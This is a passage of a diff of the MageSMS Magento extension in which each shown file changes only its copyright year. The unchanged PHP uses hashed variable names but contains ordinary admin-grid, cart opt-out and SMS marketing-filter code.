Mage_Core_Controller_Front_Action::PARAM_NAME_URL_ENCODED => $this->helper('core/url')->getEncodedUrl()) ), Mage::helper('magesms')->__('Are you sure?'), Mage::helper('magesms')->__('Remove') ); } return $id82aaf2f437652c4b6efbd55703199f614e8e516; } }
app/code/community/Topefekt/Magesms/Block/Answers/Renderer/Smsc.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Answers_Renderer_Smsc extends Mage_Adminhtml_Block_Widget_Grid_Column_Renderer_Abstract { public function render(Varien_Object $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = trim($iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getData($this->getColumn()->getIndex())); return $ia61712c27ea241bd7a543dc2b02ea572274d0322 ? '+'.$ia61712c27ea241bd7a543dc2b02ea572274d0322 : '-'; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Answers_Renderer_Smsc extends Mage_Adminhtml_Block_Widget_Grid_Column_Renderer_Abstract { public function render(Varien_Object $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = trim($iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getData($this->getColumn()->getIndex())); return $ia61712c27ea241bd7a543dc2b02ea572274d0322 ? '+'.$ia61712c27ea241bd7a543dc2b02ea572274d0322 : '-'; } }
app/code/community/Topefekt/Magesms/Block/Cart.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Cart extends Mage_Checkout_Block_Cart { protected function _construct() { $i69a1201e93806d55c970dfb18feec53d221ba37b = Mage::helper('magesms')->getOptoutProduct(); if ($i69a1201e93806d55c970dfb18feec53d221ba37b && Mage::helper('magesms')->isActive()) { $this->setOptoutProduct($i69a1201e93806d55c970dfb18feec53d221ba37b); $i705fa7c9639d497e1179d7d5691c212668a8c9c8 = $this->getQuote()->getItemByProduct($i69a1201e93806d55c970dfb18feec53d221ba37b); if ($i705fa7c9639d497e1179d7d5691c212668a8c9c8) $this->setOptoutUrl(Mage::app()->getDefaultStoreView()->getBaseUrl().'magesms/cart/removeProduct'); else $this->setOptoutUrl(Mage::app()->getDefaultStoreView()->getBaseUrl().'magesms/cart/addProduct'); $this->setOptoutAuto(!!$i705fa7c9639d497e1179d7d5691c212668a8c9c8); } return parent::_construct(); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Cart extends Mage_Checkout_Block_Cart { protected function _construct() { $i69a1201e93806d55c970dfb18feec53d221ba37b = Mage::helper('magesms')->getOptoutProduct(); if ($i69a1201e93806d55c970dfb18feec53d221ba37b && Mage::helper('magesms')->isActive()) { $this->setOptoutProduct($i69a1201e93806d55c970dfb18feec53d221ba37b); $i705fa7c9639d497e1179d7d5691c212668a8c9c8 = $this->getQuote()->getItemByProduct($i69a1201e93806d55c970dfb18feec53d221ba37b); if ($i705fa7c9639d497e1179d7d5691c212668a8c9c8) $this->setOptoutUrl(Mage::app()->getDefaultStoreView()->getBaseUrl().'magesms/cart/removeProduct'); else $this->setOptoutUrl(Mage::app()->getDefaultStoreView()->getBaseUrl().'magesms/cart/addProduct'); $this->setOptoutAuto(!!$i705fa7c9639d497e1179d7d5691c212668a8c9c8); } return parent::_construct(); } }
app/code/community/Topefekt/Magesms/Block/Customer.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Customer extends Mage_Adminhtml_Block_Widget_Grid_Container { public function __construct() { $this->_controller = 'customer'; $this->_blockGroup = 'magesms'; parent::__construct(); $this->_removeButton('add'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Customer extends Mage_Adminhtml_Block_Widget_Grid_Container { public function __construct() { $this->_controller = 'customer'; $this->_blockGroup = 'magesms'; parent::__construct(); $this->_removeButton('add'); } }
app/code/community/Topefekt/Magesms/Block/Customer/Grid.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Customer_Grid extends Mage_Adminhtml_Block_Widget_Grid { public function __construct() { parent::__construct(); $this->setSaveParametersInSession(false); $this->setFilterVisibility(false); $this->setPagerVisibility(false); $this->setId('magesms_customer_grid'); } protected function _construct() { parent::_construct(); } protected function _prepareColumns() { $this->addColumn('lastname', array( 'index' => 'lastname', 'header'=>Mage::helper('magesms')->__('Last name'), 'sortable' => false, ) ); $this->addColumn('firstname', array( 'header'=>Mage::helper('magesms')->__('First name'), 'index' => 'firstname', 'sortable' => false, ) ); $this->addColumn('country_id', array( 'header'=>Mage::helper('magesms')->__('Country'), 'width' => '50', 'index' => 'country_id', 'sortable' => false, ) ); $this->addColumn('Telephone', array( 'header'=>Mage::helper('magesms')->__('Mobile number'), 'width' => '130', 'index' => 'telephone', 'sortable' => false, ) ); if (!Mage::app()->isSingleStoreMode()) { $this->addColumn('website_id', array( 'header' => Mage::helper('customer')->__('Website'), 'align' => 'center', 'width' => '100px', 'type' => 'options', 'options' => Mage::getSingleton('adminhtml/system_store')->getWebsiteOptionHash(true), 'index' => 'website_id', 'sortable' => false, )); } $this->addColumn('action', array( 'header'=>Mage::helper('magesms')->__('Action'), 'align' => 'center', 'width' => '80px', 'type' => 'action', 'getter' => 'getId', 'actions' => array( array( 'caption' => Mage::helper('magesms')->__('REMOVE customer from this list'), 'title' => Mage::helper('magesms')->__('REMOVE customer from this list'), 'url' => array('base'=> '*/*/filter/action/removeCustomer/letter/'.$this->getParam('letter')), 'field' => 'id', 'onclick' => 'removeCustomer(this); return false;', 'class' => 'action-remove', 'id' => '', ) ), 'sortable' => false, 'index' => 'store', 'is_system' => true, ) ); return parent::_prepareColumns(); } public function getRowClickCallback() { return 'openGridRowMagesms'; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Customer_Grid extends Mage_Adminhtml_Block_Widget_Grid { public function __construct() { parent::__construct(); $this->setSaveParametersInSession(false); $this->setFilterVisibility(false); $this->setPagerVisibility(false); $this->setId('magesms_customer_grid'); } protected function _construct() { parent::_construct(); } protected function _prepareColumns() { $this->addColumn('lastname', array( 'index' => 'lastname', 'header'=>Mage::helper('magesms')->__('Last name'), 'sortable' => false, ) ); $this->addColumn('firstname', array( 'header'=>Mage::helper('magesms')->__('First name'), 'index' => 'firstname', 'sortable' => false, ) ); $this->addColumn('country_id', array( 'header'=>Mage::helper('magesms')->__('Country'), 'width' => '50', 'index' => 'country_id', 'sortable' => false, ) ); $this->addColumn('Telephone', array( 'header'=>Mage::helper('magesms')->__('Mobile number'), 'width' => '130', 'index' => 'telephone', 'sortable' => false, ) ); if (!Mage::app()->isSingleStoreMode()) { $this->addColumn('website_id', array( 'header' => Mage::helper('customer')->__('Website'), 'align' => 'center', 'width' => '100px', 'type' => 'options', 'options' => Mage::getSingleton('adminhtml/system_store')->getWebsiteOptionHash(true), 'index' => 'website_id', 'sortable' => false, )); } $this->addColumn('action', array( 'header'=>Mage::helper('magesms')->__('Action'), 'align' => 'center', 'width' => '80px', 'type' => 'action', 'getter' => 'getId', 'actions' => array( array( 'caption' => Mage::helper('magesms')->__('REMOVE customer from this list'), 'title' => Mage::helper('magesms')->__('REMOVE customer from this list'), 'url' => array('base'=> '*/*/filter/action/removeCustomer/letter/'.$this->getParam('letter')), 'field' => 'id', 'onclick' => 'removeCustomer(this); return false;', 'class' => 'action-remove', 'id' => '', ) ), 'sortable' => false, 'index' => 'store', 'is_system' => true, ) ); return parent::_prepareColumns(); } public function getRowClickCallback() { return 'openGridRowMagesms'; } }
app/code/community/Topefekt/Magesms/Block/Customer/Marketing.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Customer_Marketing extends Mage_Core_Block_Template { protected function _construct() { $i4f9132e504066d4a445dfdf8eab82004739a54d4 = Mage::helper('magesms')->isActive() && Mage::getStoreConfig('magesms/optout/marketing'); $this->setOptoutMarketingActive($i4f9132e504066d4a445dfdf8eab82004739a54d4); if ($i4f9132e504066d4a445dfdf8eab82004739a54d4) { $i21e55df616c305955791876c1eb4da83448beba2 = Mage::getSingleton('customer/session')->getCustomer(); $this->setOptoutMarketing($i21e55df616c305955791876c1eb4da83448beba2->getMagesmsCustomerMarketing()); } parent::_construct(); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Customer_Marketing extends Mage_Core_Block_Template { protected function _construct() { $i4f9132e504066d4a445dfdf8eab82004739a54d4 = Mage::helper('magesms')->isActive() && Mage::getStoreConfig('magesms/optout/marketing'); $this->setOptoutMarketingActive($i4f9132e504066d4a445dfdf8eab82004739a54d4); if ($i4f9132e504066d4a445dfdf8eab82004739a54d4) { $i21e55df616c305955791876c1eb4da83448beba2 = Mage::getSingleton('customer/session')->getCustomer(); $this->setOptoutMarketing($i21e55df616c305955791876c1eb4da83448beba2->getMagesmsCustomerMarketing()); } parent::_construct(); } }
app/code/community/Topefekt/Magesms/Block/Magesms.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Magesms extends Mage_Core_Block_Template { public function __construct() { parent::__construct(); $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getModel('magesms/smshistory')->getCollection(); $this->setCollection($iff7e46827cbb6547116c592bf800f4687428abf9); } protected function _prepareLayout() { parent::_prepareLayout(); $iff0690cb773a7fb817f520d36f525df413577228 = $this->getLayout()->createBlock('page/html_pager', 'custom.pager'); $iff0690cb773a7fb817f520d36f525df413577228->setAvailableLimit(array(2=>2,5=>5,10=>10,20=>20,'all'=>'all')); $iff0690cb773a7fb817f520d36f525df413577228->setCollection($this->getCollection()); $this->setChild('pager', $iff0690cb773a7fb817f520d36f525df413577228); $this->getCollection()->load(); return $this; } public function getPagerHtml() { return $this->getChildHtml('pager'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Magesms extends Mage_Core_Block_Template { public function __construct() { parent::__construct(); $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getModel('magesms/smshistory')->getCollection(); $this->setCollection($iff7e46827cbb6547116c592bf800f4687428abf9); } protected function _prepareLayout() { parent::_prepareLayout(); $iff0690cb773a7fb817f520d36f525df413577228 = $this->getLayout()->createBlock('page/html_pager', 'custom.pager'); $iff0690cb773a7fb817f520d36f525df413577228->setAvailableLimit(array(2=>2,5=>5,10=>10,20=>20,'all'=>'all')); $iff0690cb773a7fb817f520d36f525df413577228->setCollection($this->getCollection()); $this->setChild('pager', $iff0690cb773a7fb817f520d36f525df413577228); $this->getCollection()->load(); return $this; } public function getPagerHtml() { return $this->getChildHtml('pager'); } }
app/code/community/Topefekt/Magesms/Block/Marketing.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Marketing extends Mage_Adminhtml_Block_Widget_Grid_Container { public function __construct() { $this->_controller = 'marketing'; $this->_blockGroup = 'magesms'; parent::__construct(); $this->_removeButton('add'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Marketing extends Mage_Adminhtml_Block_Widget_Grid_Container { public function __construct() { $this->_controller = 'marketing'; $this->_blockGroup = 'magesms'; parent::__construct(); $this->_removeButton('add'); } }
app/code/community/Topefekt/Magesms/Block/Marketing/Customer.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Marketing_Customer extends Mage_Adminhtml_Block_Template { public function __construct($i4361b87b8aae0dab8305e7873d3986285df3ff3d = array()) { parent::__construct($i4361b87b8aae0dab8305e7873d3986285df3ff3d); $this->setTemplate('topefekt/magesms/marketing/customer.phtml'); $this->setWebsites(Mage::getSingleton('magesms/marketing_filter')); } protected function _toHtml() { if ($this->getId()) { return '<div id="magesms-marketing-'.$this->getId().'">'.parent::_toHtml().'</div>'; } return parent::_toHtml(); } public function displayByAlphabet() { $i39d2c3f69cb73b5684f101b504090c13c5174bc4 = array(); foreach($this->getCollection() as $i21e55df616c305955791876c1eb4da83448beba2) { $i47b2a41e4081b6f8d8381f411087dcd7042bfb53 = mb_strtoupper(mb_substr(trim($i21e55df616c305955791876c1eb4da83448beba2->lastname), 0, 1, 'utf-8')); if (empty($i39d2c3f69cb73b5684f101b504090c13c5174bc4[$i47b2a41e4081b6f8d8381f411087dcd7042bfb53])) $i39d2c3f69cb73b5684f101b504090c13c5174bc4[$i47b2a41e4081b6f8d8381f411087dcd7042bfb53] = new Varien_Data_Collection(); $i39d2c3f69cb73b5684f101b504090c13c5174bc4[$i47b2a41e4081b6f8d8381f411087dcd7042bfb53]->addItem($i21e55df616c305955791876c1eb4da83448beba2); } ksort($i39d2c3f69cb73b5684f101b504090c13c5174bc4); return $i39d2c3f69cb73b5684f101b504090c13c5174bc4; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Marketing_Customer extends Mage_Adminhtml_Block_Template { public function __construct($i4361b87b8aae0dab8305e7873d3986285df3ff3d = array()) { parent::__construct($i4361b87b8aae0dab8305e7873d3986285df3ff3d); $this->setTemplate('topefekt/magesms/marketing/customer.phtml'); $this->setWebsites(Mage::getSingleton('magesms/marketing_filter')); } protected function _toHtml() { if ($this->getId()) { return '<div id="magesms-marketing-'.$this->getId().'">'.parent::_toHtml().'</div>'; } return parent::_toHtml(); } public function displayByAlphabet() { $i39d2c3f69cb73b5684f101b504090c13c5174bc4 = array(); foreach($this->getCollection() as $i21e55df616c305955791876c1eb4da83448beba2) { $i47b2a41e4081b6f8d8381f411087dcd7042bfb53 = mb_strtoupper(mb_substr(trim($i21e55df616c305955791876c1eb4da83448beba2->lastname), 0, 1, 'utf-8')); if (empty($i39d2c3f69cb73b5684f101b504090c13c5174bc4[$i47b2a41e4081b6f8d8381f411087dcd7042bfb53])) $i39d2c3f69cb73b5684f101b504090c13c5174bc4[$i47b2a41e4081b6f8d8381f411087dcd7042bfb53] = new Varien_Data_Collection(); $i39d2c3f69cb73b5684f101b504090c13c5174bc4[$i47b2a41e4081b6f8d8381f411087dcd7042bfb53]->addItem($i21e55df616c305955791876c1eb4da83448beba2); } ksort($i39d2c3f69cb73b5684f101b504090c13c5174bc4); return $i39d2c3f69cb73b5684f101b504090c13c5174bc4; } }
app/code/community/Topefekt/Magesms/Block/Marketing/Form.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Marketing_Form extends Mage_Adminhtml_Block_Widget_Form { protected function _prepareForm() { $id7c8c8e1d1b44e9917ce2ae9b4c7d03e2a3ab683 = $this->getUrl('*/*/filter', array('action' => 'applyFilter')); $i1791b2d1f89bb2bd83b34046f59125af207713db = new Varien_Data_Form( array('id' => 'marketing_filter', 'action' => $id7c8c8e1d1b44e9917ce2ae9b4c7d03e2a3ab683, 'method' => 'get', 'onsubmit' => 'applyFilter(\'marketing_filter\'); return false;') ); $i5a4070f5dbe2b3be0f175bc31d21ce8a0e2e76dd = 'magesms_marketing_'; $i1791b2d1f89bb2bd83b34046f59125af207713db->setHtmlIdPrefix($i5a4070f5dbe2b3be0f175bc31d21ce8a0e2e76dd); $i1791b2d1f89bb2bd83b34046f59125af207713db->setUseContainer(true); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('customer_not', 'hidden', array( 'name' => 'customer_not', )); $i00f9b0a11b6d8c15e9d603e29ad96b2c88140a51 = $i1791b2d1f89bb2bd83b34046f59125af207713db->addFieldset('base_fieldset', array( 'legend' => Mage::helper('magesms')->__('SMS Marketing - bulk SMS filter'), ) ); $i6710129c3d74d2fb5df97ccbaab2621e9e5c1bf9 = '<a onclick="resetFilter(this);return false;" title="'.$this->__('Reset Filter').'" href="'.$this->getUrl('*/*/filter', array('action' => 'reset')).'">['.$this->__('Reset Filter').']</a>
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Marketing_Form extends Mage_Adminhtml_Block_Widget_Form { protected function _prepareForm() { $id7c8c8e1d1b44e9917ce2ae9b4c7d03e2a3ab683 = $this->getUrl('*/*/filter', array('action' => 'applyFilter')); $i1791b2d1f89bb2bd83b34046f59125af207713db = new Varien_Data_Form( array('id' => 'marketing_filter', 'action' => $id7c8c8e1d1b44e9917ce2ae9b4c7d03e2a3ab683, 'method' => 'get', 'onsubmit' => 'applyFilter(\'marketing_filter\'); return false;') ); $i5a4070f5dbe2b3be0f175bc31d21ce8a0e2e76dd = 'magesms_marketing_'; $i1791b2d1f89bb2bd83b34046f59125af207713db->setHtmlIdPrefix($i5a4070f5dbe2b3be0f175bc31d21ce8a0e2e76dd); $i1791b2d1f89bb2bd83b34046f59125af207713db->setUseContainer(true); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('customer_not', 'hidden', array( 'name' => 'customer_not', )); $i00f9b0a11b6d8c15e9d603e29ad96b2c88140a51 = $i1791b2d1f89bb2bd83b34046f59125af207713db->addFieldset('base_fieldset', array( 'legend' => Mage::helper('magesms')->__('SMS Marketing - bulk SMS filter'), ) ); $i6710129c3d74d2fb5df97ccbaab2621e9e5c1bf9 = '<a onclick="resetFilter(this);return false;" title="'.$this->__('Reset Filter').'" href="'.$this->getUrl('*/*/filter', array('action' => 'reset')).'">['.$this->__('Reset Filter').']</a>
app/code/community/Topefekt/Magesms/Block/Marketing/Grid.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Marketing_Grid extends Mage_Adminhtml_Block_Widget_Grid { public function __construct() { parent::__construct(); $this->setSaveParametersInSession(false); $this->setFilterVisibility(false); } protected function _prepareCollection() { parent::_prepareCollection(); $this->setAdditionalJavaScript('countitSMS.marketingCount = '.$this->getCollection()->getSize().";\ncountitSMS.count();\n"); return $this; } protected function _construct() { parent::_construct(); } protected function _prepareColumns() { $this->addColumn('entity_id', array( 'header'=>Mage::helper('magesms')->__('Customer ID'), 'width' => '50px', 'index' => 'entity_id', 'type' => 'number', ) ); $this->addColumn('lastname', array( 'index' => 'lastname', 'header'=>Mage::helper('magesms')->__('Last name'), ) ); $this->addColumn('firstname', array( 'header'=>Mage::helper('magesms')->__('First name'), 'index' => 'firstname', ) ); $this->addColumn('country_id', array( 'header'=>Mage::helper('magesms')->__('Country'), 'width' => '50', 'index' => 'country_id', 'sortable' => false, ) ); $this->addColumn('Telephone', array( 'header'=>Mage::helper('magesms')->__('Mobile number'), 'width' => '130', 'index' => 'telephone', 'sortable' => false, ) ); if (!Mage::app()->isSingleStoreMode()) { $this->addColumn('website_id', array( 'header' => Mage::helper('customer')->__('Website'), 'align' => 'center', 'width' => '100px', 'type' => 'options', 'options' => Mage::getSingleton('adminhtml/system_store')->getWebsiteOptionHash(true), 'index' => 'website_id', )); } $this->addColumn('action', array( 'header'=>Mage::helper('magesms')->__('Action'), 'align' => 'center', 'width' => '80px', 'type' => 'action', 'getter' => 'getId', 'actions' => array( array( 'caption' => Mage::helper('magesms')->__('REMOVE customer from this list'), 'title' => Mage::helper('magesms')->__('REMOVE customer from this list'), 'field' => 'id', 'onclick' => 'filterRemoveCustomerSubmit(this)', 'class' => 'action-remove', 'id' => '', ) ), 'sortable' => false, 'index' => 'store', 'is_system' => true, ) ); return parent::_prepareColumns(); } public function getRowUrl($iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { return $this->getUrl('*/customer/edit', array('id' => $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId())); } public function getRowClickCallback() { return 'openGridRowMagesms'; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Marketing_Grid extends Mage_Adminhtml_Block_Widget_Grid { public function __construct() { parent::__construct(); $this->setSaveParametersInSession(false); $this->setFilterVisibility(false); } protected function _prepareCollection() { parent::_prepareCollection(); $this->setAdditionalJavaScript('countitSMS.marketingCount = '.$this->getCollection()->getSize().";\ncountitSMS.count();\n"); return $this; } protected function _construct() { parent::_construct(); } protected function _prepareColumns() { $this->addColumn('entity_id', array( 'header'=>Mage::helper('magesms')->__('Customer ID'), 'width' => '50px', 'index' => 'entity_id', 'type' => 'number', ) ); $this->addColumn('lastname', array( 'index' => 'lastname', 'header'=>Mage::helper('magesms')->__('Last name'), ) ); $this->addColumn('firstname', array( 'header'=>Mage::helper('magesms')->__('First name'), 'index' => 'firstname', ) ); $this->addColumn('country_id', array( 'header'=>Mage::helper('magesms')->__('Country'), 'width' => '50', 'index' => 'country_id', 'sortable' => false, ) ); $this->addColumn('Telephone', array( 'header'=>Mage::helper('magesms')->__('Mobile number'), 'width' => '130', 'index' => 'telephone', 'sortable' => false, ) ); if (!Mage::app()->isSingleStoreMode()) { $this->addColumn('website_id', array( 'header' => Mage::helper('customer')->__('Website'), 'align' => 'center', 'width' => '100px', 'type' => 'options', 'options' => Mage::getSingleton('adminhtml/system_store')->getWebsiteOptionHash(true), 'index' => 'website_id', )); } $this->addColumn('action', array( 'header'=>Mage::helper('magesms')->__('Action'), 'align' => 'center', 'width' => '80px', 'type' => 'action', 'getter' => 'getId', 'actions' => array( array( 'caption' => Mage::helper('magesms')->__('REMOVE customer from this list'), 'title' => Mage::helper('magesms')->__('REMOVE customer from this list'), 'field' => 'id', 'onclick' => 'filterRemoveCustomerSubmit(this)', 'class' => 'action-remove', 'id' => '', ) ), 'sortable' => false, 'index' => 'store', 'is_system' => true, ) ); return parent::_prepareColumns(); } public function getRowUrl($iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { return $this->getUrl('*/customer/edit', array('id' => $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId())); } public function getRowClickCallback() { return 'openGridRowMagesms'; } }
app/code/community/Topefekt/Magesms/Block/Marketing/Template.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Marketing_Template extends Mage_Adminhtml_Block_Widget_Grid { public function __construct() { parent::__construct(); $this->setSaveParametersInSession(false); $this->setFilterVisibility(false); $this->setPagerVisibility(false); $this->setDefaultSort('date'); $this->setDefaultDir('DESC'); $this->setId('magesms_filter_template_grid'); $this->setUseAjax(true); } protected function _prepareCollection() { $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getModel('magesms/marketing_filter')->getCollection(); $this->setCollection($iff7e46827cbb6547116c592bf800f4687428abf9); parent::_prepareCollection(); return $this; } protected function _prepareColumns() { $this->addColumn('name', array( 'header'=>Mage::helper('magesms')->__('Name'), 'index' => 'name', 'sortable' => false, ) ); $this->addColumn('date', array( 'header'=>Mage::helper('magesms')->__('Date'), 'index' => 'date', 'width' => '150px', 'type' => 'datetime', 'sortable' => false, ) ); $this->addColumn('action', array( 'header'=>Mage::helper('magesms')->__('Action'), 'align' => 'center', 'width' => '80px', 'type' => 'action', 'getter' => 'getId', 'actions' => array( array( 'caption' => Mage::helper('magesms')->__('REMOVE'), 'title' => Mage::helper('magesms')->__('REMOVE'), 'url' => array('base'=> '*/*/filter', 'params'=> array('action' => 'remove')), 'field' => 'id', 'onclick' => 'return window.submitRemoveFilter(this);', 'class' => 'action-remove', 'id' => '', ) ), 'sortable' => false, 'index' => 'store', 'is_system' => true, ) ); return parent::_prepareColumns(); } public function getRowClickCallback() { return 'submitRestoreFilter'; } public function getRowUrl($iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { return $this->getUrl('*/*/filter', array('action' => 'restore', 'id' => $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId())); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Marketing_Template extends Mage_Adminhtml_Block_Widget_Grid { public function __construct() { parent::__construct(); $this->setSaveParametersInSession(false); $this->setFilterVisibility(false); $this->setPagerVisibility(false); $this->setDefaultSort('date'); $this->setDefaultDir('DESC'); $this->setId('magesms_filter_template_grid'); $this->setUseAjax(true); } protected function _prepareCollection() { $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getModel('magesms/marketing_filter')->getCollection(); $this->setCollection($iff7e46827cbb6547116c592bf800f4687428abf9); parent::_prepareCollection(); return $this; } protected function _prepareColumns() { $this->addColumn('name', array( 'header'=>Mage::helper('magesms')->__('Name'), 'index' => 'name', 'sortable' => false, ) ); $this->addColumn('date', array( 'header'=>Mage::helper('magesms')->__('Date'), 'index' => 'date', 'width' => '150px', 'type' => 'datetime', 'sortable' => false, ) ); $this->addColumn('action', array( 'header'=>Mage::helper('magesms')->__('Action'), 'align' => 'center', 'width' => '80px', 'type' => 'action', 'getter' => 'getId', 'actions' => array( array( 'caption' => Mage::helper('magesms')->__('REMOVE'), 'title' => Mage::helper('magesms')->__('REMOVE'), 'url' => array('base'=> '*/*/filter', 'params'=> array('action' => 'remove')), 'field' => 'id', 'onclick' => 'return window.submitRemoveFilter(this);', 'class' => 'action-remove', 'id' => '', ) ), 'sortable' => false, 'index' => 'store', 'is_system' => true, ) ); return parent::_prepareColumns(); } public function getRowClickCallback() { return 'submitRestoreFilter'; } public function getRowUrl($iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { return $this->getUrl('*/*/filter', array('action' => 'restore', 'id' => $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId())); } }
